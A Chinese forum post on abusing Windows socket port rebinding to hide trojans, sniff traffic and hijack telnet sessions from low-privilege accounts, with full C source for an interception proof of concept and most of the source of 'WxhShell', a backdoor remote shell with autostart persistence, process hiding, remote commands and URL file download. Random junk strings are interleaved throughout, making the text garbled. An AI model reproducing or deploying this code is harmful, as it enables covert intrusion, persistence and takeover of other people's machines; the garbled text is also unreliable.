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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nf5Ld"|%9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D7b<&D@  
.kSx>3  
  saddr.sin_family = AF_INET; 6@-VLO))O  
Kr!(<i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0xVue[ep  
s[ |sfqB1`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vMsb@@O\\  
\gRX:i#n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x8Rmap@L.  
3 T$gT  
  这意味着什么?意味着可以进行如下的攻击: Kb~s'cTxIO  
m}] bP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @Y'BqDFlZ  
LL+ROX^M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >A#wvQl7   
u/e-m/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gG0P &9xz  
Kc+;"4/#q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?Gc9^b B I  
LlP_`fA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s+>VqyHgf  
agqB#,i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XSkN9LqZ  
(MiEXU~v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j?ihUNY!+  
-b "7WBl  
  #include ;7"}I  
  #include ^w.x~#zI  
  #include JPQ[JD^]  
  #include    W is_N3M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wSHE~Xx  
  int main() )A9K9pZj  
  { 6D,xs}j1  
  WORD wVersionRequested; UH1AT#?!W  
  DWORD ret; Qi' ,[Xmf  
  WSADATA wsaData; 3A%/H`  
  BOOL val; nS0K&MH6B  
  SOCKADDR_IN saddr; cg$@x\fJ  
  SOCKADDR_IN scaddr; `Q V}je  
  int err; F i?2sa  
  SOCKET s; L-\-wXg%  
  SOCKET sc; *R.Q!L v+  
  int caddsize; {dV#"+  
  HANDLE mt; ]w.:K*_=  
  DWORD tid;   4]jN@@  
  wVersionRequested = MAKEWORD( 2, 2 ); c Q~}qE>I  
  err = WSAStartup( wVersionRequested, &wsaData ); f?T6Ne'  
  if ( err != 0 ) { h4x*C=?A  
  printf("error!WSAStartup failed!\n"); E(A7DXzbR  
  return -1; U7d%*g  
  } |e@9YDZ  
  saddr.sin_family = AF_INET; @O#4duM4Qz  
   CZ*c["x2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5K13    
8Czy<}S<G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gNJ,Bj Pd  
  saddr.sin_port = htons(23); (3`Q`o;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k;PQVF&E  
  { "h'0&ZP~_  
  printf("error!socket failed!\n"); $F-qqkR$  
  return -1; W!pLk/|ls  
  } <Y9vc:S  
  val = TRUE; w4U]lg<}E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SovK|b &  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YRF%].A%2  
  { '+ 1<7jl&I  
  printf("error!setsockopt failed!\n"); s0"S;{_#  
  return -1; ',k0 _n?t  
  } K*Y.mM)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3+_? /}<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }R:eKj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lj $\2 B  
[OBj2=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1TbY,3W  
  { } 5i0R  
  ret=GetLastError(); Z.+-MNWV  
  printf("error!bind failed!\n"); ZzPlIl}\  
  return -1; Ql sMMIax  
  } xg %EQ  
  listen(s,2); M7BCBA  
  while(1) XYIZ^_My  
  { [8AGW7_  
  caddsize = sizeof(scaddr); sJ)XoK syW  
  //接受连接请求 ''S*B|:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z-;<R$  
  if(sc!=INVALID_SOCKET) <@xp. Y  
  { ;}{xpJ/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Tct8NG  
  if(mt==NULL) k L2(M6m  
  { 'L)@tkklp  
  printf("Thread Creat Failed!\n"); %E Jv!u*-  
  break; ,<*n>W4|  
  } Qi`Lj5;\F  
  } $wUFHEl  
  CloseHandle(mt); Ub=g<MYHV  
  } 7UvfXzDNC  
  closesocket(s); PeGL Rbx34  
  WSACleanup(); <CIJ g*  
  return 0; ko\VDyt,  
  }   F2!C^r,~L  
  DWORD WINAPI ClientThread(LPVOID lpParam) !K^.r_0H.  
  { IBWUXG;  
  SOCKET ss = (SOCKET)lpParam; &3l g\&"  
  SOCKET sc; _2+}_ >d  
  unsigned char buf[4096]; & .VciSq6  
  SOCKADDR_IN saddr; o5KpiibFM  
  long num; XL>v$7`#  
  DWORD val; I*_@WoI*  
  DWORD ret; ^l|{*oj2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6KPM4#61o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;$Q `JN=  
  saddr.sin_family = AF_INET; bI.LE/yk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e eb`Ao  
  saddr.sin_port = htons(23); rtf\{u9 }g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X[b=25Ct  
  { 1 zIFQ@  
  printf("error!socket failed!\n"); 3/V&PDC*'  
  return -1; .w3.zZ0[  
  } 9 lE[oAC  
  val = 100; lR[[]Yn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hI*gw3V  
  { @~% R%Vu  
  ret = GetLastError(); |F z/9+I  
  return -1; fH? e9E4l  
  } 5BnO-[3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (@*[^@ipV  
  { tcyami6D4  
  ret = GetLastError(); xrDHXqH  
  return -1; S 4uX utd  
  } P F#+G;q;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4E]w4BG)  
  { ]s-;*o\H  
  printf("error!socket connect failed!\n"); x? 3U3\W  
  closesocket(sc); W1S7%6y_1  
  closesocket(ss); C o v,#j j  
  return -1; [ sJ f)<  
  } P3X;&iT  
  while(1) O?e38(  
  { % LeG.~?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Yy`\??,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gV@FT|j!i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 - &u]B$  
  num = recv(ss,buf,4096,0); ! iuDmL  
  if(num>0) Qa@b-v'by  
  send(sc,buf,num,0); /.r|ron:e  
  else if(num==0) |kJ'FZZd  
  break; =W'a6)WE  
  num = recv(sc,buf,4096,0); 3Ob"R%Yo  
  if(num>0) vI3L <[W  
  send(ss,buf,num,0); RGFanP  
  else if(num==0) "L^]a$&  
  break; a^_\#,}  
  } vw VeHjR  
  closesocket(ss); Q qGf*  
  closesocket(sc); .%;`: dtj  
  return 0 ; - ;1'{v  
  } pEgQ) 9\  
-d]-R ?mQ  
("-Co,4ey  
========================================================== "F?p\I)(  
BM5+;h !  
下边附上一个代码,,WXhSHELL #DK@&Gv  
^\=<geEj  
========================================================== Zp@j*P  
:YaEMQJ^  
#include "stdafx.h" .CGPG,\2  
l,j7I3&~%  
#include <stdio.h> KvENH=oh  
#include <string.h> <[mT*  
#include <windows.h> AjBwj5K  
#include <winsock2.h> _N!L?b83P  
#include <winsvc.h> 2"+8NfFl  
#include <urlmon.h> " &2Kvsz  
"D#+:ix8G|  
#pragma comment (lib, "Ws2_32.lib") {I'8+~|pZL  
#pragma comment (lib, "urlmon.lib") FG/".dU  
K ZoIjK]  
#define MAX_USER   100 // 最大客户端连接数 -7E)u  
#define BUF_SOCK   200 // sock buffer zOJ4I^^  
#define KEY_BUFF   255 // 输入 buffer R-8>,  
\]RPxM:_>  
#define REBOOT     0   // 重启 nmI os]B  
#define SHUTDOWN   1   // 关机 50r3Kl0  
vN#?>aL  
#define DEF_PORT   5000 // 监听端口 0#1hkJ"  
'J\nvNm  
#define REG_LEN     16   // 注册表键长度 Fy:CG6@X  
#define SVC_LEN     80   // NT服务名长度 ]@E_Hx{S  
mQEE?/xX;  
// 从dll定义API {*utke]}*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n N.6?a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &V/n!|q<H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vbEAd)*S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )!SA]>-  
LsaE-l  
// wxhshell配置信息 '5xIisP  
struct WSCFG { cV]c/*z A  
  int ws_port;         // 监听端口 J>_|hg=  
  char ws_passstr[REG_LEN]; // 口令 zq]I"0Bi.  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2I'gT$h  
  char ws_regname[REG_LEN]; // 注册表键名 B(tLV9B3Q  
  char ws_svcname[REG_LEN]; // 服务名 C \"nlNKw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qw^kA?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cGF_|1`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7#/->Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a#3+PB #  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #r5IwyL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (gW#T\Eln  
wW2b?b{*Z  
}; ,U`:IP/L  
^h wF=  
// default Wxhshell configuration 9!'qLO  
struct WSCFG wscfg={DEF_PORT, \j C[|LM&  
    "xuhuanlingzhe", - Q3jK)1  
    1, fny|^F]w  
    "Wxhshell", RcJ.=?I!  
    "Wxhshell", bO8>w9MF  
            "WxhShell Service", O^|:q  
    "Wrsky Windows CmdShell Service", D{'>G@nLQ  
    "Please Input Your Password: ", eCejO59F9  
  1, Cj{+DXT  
  "http://www.wrsky.com/wxhshell.exe", p;8I@~dh  
  "Wxhshell.exe" GD(gm, ,)  
    }; z =m Dd  
_:dt8+T#  
// 消息定义模块 =QdHji/sB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3=YK" 5J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q8DSKi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,uz+/K%OA5  
char *msg_ws_ext="\n\rExit."; } @r|o:I  
char *msg_ws_end="\n\rQuit."; nV`n=x  
char *msg_ws_boot="\n\rReboot..."; *xHj*  
char *msg_ws_poff="\n\rShutdown..."; =AaTn::e/  
char *msg_ws_down="\n\rSave to "; 4pU|BL\j  
:+?eF^ 5  
char *msg_ws_err="\n\rErr!"; ng,64(wOY  
char *msg_ws_ok="\n\rOK!"; .`w[A  
W`^euBr7R>  
char ExeFile[MAX_PATH]; ad <z+a  
int nUser = 0; w4:|Z@I  
HANDLE handles[MAX_USER]; cf\PG&S  
int OsIsNt; @34Z/%A  
!+bLh W`  
SERVICE_STATUS       serviceStatus; :A2{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LYTx8  
SNLZU%jan  
// 函数声明 r0MUv}p#|L  
int Install(void); =yT3#A~<G  
int Uninstall(void); |:qaF  
int DownloadFile(char *sURL, SOCKET wsh); Tt^PiaS!  
int Boot(int flag); o 8fB  
void HideProc(void); XFj\H(D  
int GetOsVer(void); +=_^4  
int Wxhshell(SOCKET wsl); W^(:\IvV  
void TalkWithClient(void *cs); SynL%Y9)|,  
int CmdShell(SOCKET sock); w_gFN%8  
int StartFromService(void); %P3|#0yg0  
int StartWxhshell(LPSTR lpCmdLine); yT3q~#:  
9^yf'9S1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a"ct"g=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D./!/>@f  
rN$U%\.I  
// 数据结构和表定义 *U<l$gajq  
SERVICE_TABLE_ENTRY DispatchTable[] = f&=WgITa  
{ ZnrsJ1f:  
{wscfg.ws_svcname, NTServiceMain}, p?@R0]  
{NULL, NULL} &- 5`Oln  
}; 3EY>XS  
30BFwNE  
// 自我安装 s)dL^lj;  
int Install(void)  !' }  
{ b\Wlpb=QZ  
  char svExeFile[MAX_PATH]; j<*  
  HKEY key; ;FQ<4PR$  
  strcpy(svExeFile,ExeFile); k 4HE'WY  
S*aMUV&  
// 如果是win9x系统,修改注册表设为自启动 ,Wbr; zb  
if(!OsIsNt) { 9` a1xnL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UrC>n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N}|<P[LW  
  RegCloseKey(key); g$^:2MT"aQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1')_^]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /m"#uC!\  
  RegCloseKey(key); pxGDzU  
  return 0; yuef84~  
    } # dA-dN  
  } o$4i{BL  
} {4C/ZA{|l  
else { cr wui8  
B,x ohT  
// 如果是NT以上系统,安装为系统服务 \Fh#CI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bmid;X|  
if (schSCManager!=0) q.}M^iDe  
{ +VSq[P  
  SC_HANDLE schService = CreateService o[A y2"e?  
  ( {M_*hR;lL  
  schSCManager, s^&Oh*SP*  
  wscfg.ws_svcname, #7*{ $v  
  wscfg.ws_svcdisp, $.5f-vQp  
  SERVICE_ALL_ACCESS, L2 ybL#dz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nO\c4#ce  
  SERVICE_AUTO_START, 8\lRP,-  
  SERVICE_ERROR_NORMAL, mJ #|~I*Z-  
  svExeFile, z+5ZUS2~&  
  NULL, `)aIFAW  
  NULL, 7A,lQh  
  NULL, xs}3=&c(  
  NULL, _o+z#Fnz  
  NULL B=<Z@u  
  ); hf`5NcnP  
  if (schService!=0) q,Nhfo(  
  {  /N8>>g  
  CloseServiceHandle(schService); t@#l0lu$  
  CloseServiceHandle(schSCManager); gs:V4$(p4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4Ou5Vp&y  
  strcat(svExeFile,wscfg.ws_svcname); RE<s$B$[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :>q*#vlb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S|K#lL  
  RegCloseKey(key); cWU9mzsE  
  return 0; *+UgrsRk  
    } 5R%4fzr&g  
  } `;c{E%qeq  
  CloseServiceHandle(schSCManager); 0K<|>I  
} Cu $mb}@  
} f(*ygI  
2?}5U)Hg  
return 1; \RF{ITV$kD  
} xb (Cd  
sX c|++  
// 自我卸载 h>:eu#  
int Uninstall(void) 3UNmUDl[~  
{ c$fYK  
  HKEY key; lP;X=X>  
=>m x>R`S  
if(!OsIsNt) { ~Qm<w3oy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'V`Hp$r  
  RegDeleteValue(key,wscfg.ws_regname); e h6\y7 9g  
  RegCloseKey(key); + e3{J_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n85d g  
  RegDeleteValue(key,wscfg.ws_regname); JFOXrRR=d  
  RegCloseKey(key); 2FxrjA  
  return 0; -}G>{5.A  
  } Vb++K0CK  
} +FBUB  
} 5*hA6Ex7  
else { g;eoH  
1"fbQ^4`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T!YfCw.HZ  
if (schSCManager!=0) ls,;ozU  
{ V"u .u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,3,(/%=k  
  if (schService!=0) 7i##g,  
  { LD gGVl  
  if(DeleteService(schService)!=0) { Oh'C [  
  CloseServiceHandle(schService); 6V&HlJH  
  CloseServiceHandle(schSCManager); K9=f`JI9  
  return 0; ]w5j?h"b  
  } zf.&E3Sn  
  CloseServiceHandle(schService); + d289"  
  } ,&ld:v?~  
  CloseServiceHandle(schSCManager); rk)h_zN  
} -VafN   
} \(4kEB2s$  
;56mkP  
return 1; 0ME.O +  
} %SC%#_7  
1$RUhxT  
// 从指定url下载文件 ;8iK];^  
int DownloadFile(char *sURL, SOCKET wsh) f2]O5rX p  
{ TD^w|U.  
  HRESULT hr; pRc<U^Z.h  
char seps[]= "/"; C#oH7o+_.  
char *token; P+gY LX8  
char *file; N6<G`k,  
char myURL[MAX_PATH]; \sc's7  
char myFILE[MAX_PATH]; >mCS`D8  
egn9O  
strcpy(myURL,sURL); iZ; y(  
  token=strtok(myURL,seps); m[$pj~<\  
  while(token!=NULL) V6a+VfH  
  { 3cB=9Y{<  
    file=token; 1<E:`,Mn?  
  token=strtok(NULL,seps); UC*\3:>'n  
  } l}& &f8n  
u?V Tnsu  
GetCurrentDirectory(MAX_PATH,myFILE); \eoJ6IRE\T  
strcat(myFILE, "\\"); +sm9H"_0  
strcat(myFILE, file); @q++eGm\Q  
  send(wsh,myFILE,strlen(myFILE),0); c W^  
send(wsh,"...",3,0); !wr2OxK*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H+?@LPV*N  
  if(hr==S_OK) ykBq?Vr  
return 0; Scz/2vNi`  
else Z_WJgH2c  
return 1; 586lN22xM  
q6AL}9]9  
} t +h}hL  
<d] t{M62W  
// 系统电源模块 m-AW}1:\f  
int Boot(int flag) a[hQ<@1O  
{ 8=DZ;]XD.  
  HANDLE hToken; i"OY=iw-N  
  TOKEN_PRIVILEGES tkp; LG:Mksd8=4  
CZ|h` ";P2  
  if(OsIsNt) { bU{lV<R,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `S:LuU8e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a<Ksas'5S  
    tkp.PrivilegeCount = 1; =2R0 g2n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ",>,t_J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CU_8 `}  
if(flag==REBOOT) { d45mKla(V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7&Qf))L  
  return 0; +I[Hxf~  
} 5 K[MKfT  
else { ]`T*}$|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5o2vj8::  
  return 0; hw)#TEt   
} 'E_~>  
  } WP ~]pduT  
  else { _2wH4^Vb  
if(flag==REBOOT) { Cw,;>>Y_b<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .NRSBk  
  return 0; nv}z%.rRUj  
} +H6cZ,  
else { $I4:g.gKpG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Og/@w&  
  return 0; .EdQ]c-E=  
} >O/1Lpl.3  
} \\v1 \  
vQsI^p  
return 1; Gid6,J  
} WOR H4h9  
wpV)y Q^  
// win9x进程隐藏模块 vi~NfD@s  
void HideProc(void) Cy2)M(RW  
{ BaXf=RsZ  
=P7!6V\f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [;,Xp/  
  if ( hKernel != NULL ) gkMyo`  
  { XyrQJ}WR|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i=aK ?^+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2NvbQ 3c5  
    FreeLibrary(hKernel); W*.6'u)9  
  } s%Irh;Bs  
344E4F"ph  
return; m=Fk  
} 'l&bg8K9  
?A2jj`N1x  
// 获取操作系统版本 M) Z3q  
int GetOsVer(void) #@8JYzMq%  
{ 0;SRmj@W  
  OSVERSIONINFO winfo; qg9VK'3o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +A%"_7L}  
  GetVersionEx(&winfo); 0o_wy1O1,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -_+,HyJP  
  return 1; O]%Vh l  
  else j5~nLo2  
  return 0; R~!md  
} NjP7?nXSx  
\Rz-*zr&  
// 客户端句柄模块 y6`zdB  
int Wxhshell(SOCKET wsl) \+VQoB/  
{ #"KaRh  
  SOCKET wsh; `Yw:<w\4C  
  struct sockaddr_in client; KreF\M%Ke  
  DWORD myID; 5sI9GC  
1`v$R0 `!  
  while(nUser<MAX_USER) fYUbr"Oe  
{ I`4k5KB;  
  int nSize=sizeof(client); m'YYkq(5%Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B0dv_'L}L  
  if(wsh==INVALID_SOCKET) return 1; X(dHh O  
6 TSC7jO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +_v#V9?  
if(handles[nUser]==0) mz?1J4rt  
  closesocket(wsh); Fa-F`U@h(m  
else 1 ILA Utf)  
  nUser++; ix!4s613w  
  } Z[G:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (M nK \^Y  
>NjgLJh  
  return 0; 3w$Ib}7   
} 5KRI}f  
zot_ jSV  
// 关闭 socket $Fik]TbQp  
void CloseIt(SOCKET wsh) ,Uu#41ZOKL  
{ 6):iu=/i/  
closesocket(wsh); q~G@S2=}0}  
nUser--; 1rGi"kdf  
ExitThread(0); %IH ra6  
} 3U&r K)F  
.j^=]3  
// 客户端请求句柄 m 7/b.B}  
void TalkWithClient(void *cs) ^;mnP=`l[  
{ 1qd(3A41  
xY$@^(Q\  
  SOCKET wsh=(SOCKET)cs; Zt"3g6S  
  char pwd[SVC_LEN]; YT\.${N  
  char cmd[KEY_BUFF]; {bMOT*X=A  
char chr[1]; :,1 kSM%r  
int i,j; ^zVW 3 Y q  
>v1ajI>O&{  
  while (nUser < MAX_USER) { &l _NCo2  
dA=T+u  
if(wscfg.ws_passstr) { t:yJ~En]=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tq&CJvJ4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A_}6J,*u  
  //ZeroMemory(pwd,KEY_BUFF); %hV]vm  
      i=0; YJMaIFt  
  while(i<SVC_LEN) { R(W}..U0R"  
5%;=(Oig  
  // 设置超时 N5|wBm>m  
  fd_set FdRead; \>p\~[cxt  
  struct timeval TimeOut; |[/'W7TV%?  
  FD_ZERO(&FdRead); f&88N<)  
  FD_SET(wsh,&FdRead); @r9[&  
  TimeOut.tv_sec=8; GRj#1OqL  
  TimeOut.tv_usec=0; IXof- I%8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @lTd,V5f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )bR`uV9<  
[6cf$FS9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )A=&3Ui)ab  
  pwd=chr[0]; z-G*:DfgH  
  if(chr[0]==0xd || chr[0]==0xa) { 1CA% nqlng  
  pwd=0; Ys+NIV#Q  
  break; gN5;Uk  
  }  #[yZP9  
  i++; =L&dV]'4P  
    } ;$/]6@bqB  
^Q5advxuq  
  // 如果是非法用户,关闭 socket ]/c!;z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 734<X6^1  
} c);vl%  
V6 uh'2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L#Rj~&U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IUSV\X9  
N%fDgK  
while(1) { 9/$Cq  
l }WvO]  
  ZeroMemory(cmd,KEY_BUFF); !]2`dp\!  
EN;4EC7tE  
      // 自动支持客户端 telnet标准   :XCRKRDLE  
  j=0; eh}I?:(a?  
  while(j<KEY_BUFF) { cs7K^D;.V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c%5Suu( J6  
  cmd[j]=chr[0]; /[,0,B9!3  
  if(chr[0]==0xa || chr[0]==0xd) { pv@w 8*  
  cmd[j]=0; k4`(7Z  
  break; @ *n oma  
  } a&%v^r[  
  j++; /f]'_t0\.  
    } )8 %lZ {  
%hN7K  
  // 下载文件 3%YDsd vQx  
  if(strstr(cmd,"http://")) { { \ ]KYI0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lnv&fu`1P  
  if(DownloadFile(cmd,wsh)) xyyEaB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UKzXz0  
  else R7 ^f|/l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qX:Y I3:,@  
  } ]oizBa@?G  
  else { 3B?7h/f  
P`OZoI$bV  
    switch(cmd[0]) { oN&U@N/>aU  
  L)9uBdF  
  // 帮助 ((T6z$:hA  
  case '?': { bEli!N$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #@}wl  
    break; \vF*n Z5/  
  } kWbD?i-  
  // 安装 )W |_f  
  case 'i': { _FP'SVa}D  
    if(Install()) Eu`K2_b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p61F@=EL  
    else @f`s%o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iG+=whvL  
    break; H/$oGhvl  
    } O ~D]C  
  // 卸载 grTwo  
  case 'r': { y@9ifFr  
    if(Uninstall()) g4}K6)@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nc:0opPM  
    else n |Q' >  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2aJ_[3p/h]  
    break; )Ag{S[yZ  
    } U)C>^ !Us  
  // 显示 wxhshell 所在路径 ie}?}s  
  case 'p': { ]^I[SG,  
    char svExeFile[MAX_PATH]; H' %#71  
    strcpy(svExeFile,"\n\r"); Lv7$@|"H9  
      strcat(svExeFile,ExeFile); {)PgN  
        send(wsh,svExeFile,strlen(svExeFile),0); } bm ^`QY  
    break; .wf$]oQQ  
    } =&#t ("  
  // 重启 5q _n 69b  
  case 'b': { tb;u%{S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,d7o/8u  
    if(Boot(REBOOT)) #r'S@:[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2k+u_tj>  
    else { j W/*-:  
    closesocket(wsh); A@)ou0[n@  
    ExitThread(0); [ ]42$5eof  
    } UAOH9*9*  
    break; h7J4 p  
    } gp NAM"  
  // 关机 iHlee=}od  
  case 'd': { {\55\e/C,  
